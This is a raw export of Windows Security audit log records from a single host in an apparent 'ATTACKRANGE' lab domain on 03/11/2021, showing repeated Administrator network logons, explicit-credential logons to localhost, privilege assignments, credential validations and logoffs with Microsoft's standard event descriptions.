-Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x41c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245662 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEE7F7 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245661 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEE7F7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245660 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245659 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245658 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEE715 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245657 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE9734 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245656 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE9D4C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245655 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEE715 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245654 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEE715 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245653 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245652 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245651 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEE6E4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245650 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEE6E4 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245649 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEE6E4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245648 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245647 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245646 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xED908 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245645 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEC488 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245644 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEA162 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245715 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF48F2 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245714 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF48F2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245713 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245712 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245711 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF37A7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245710 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF37A7 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245709 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF37A7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245708 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245707 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245706 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF349E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245705 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF349E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245704 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245703 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245702 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF2E0A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - 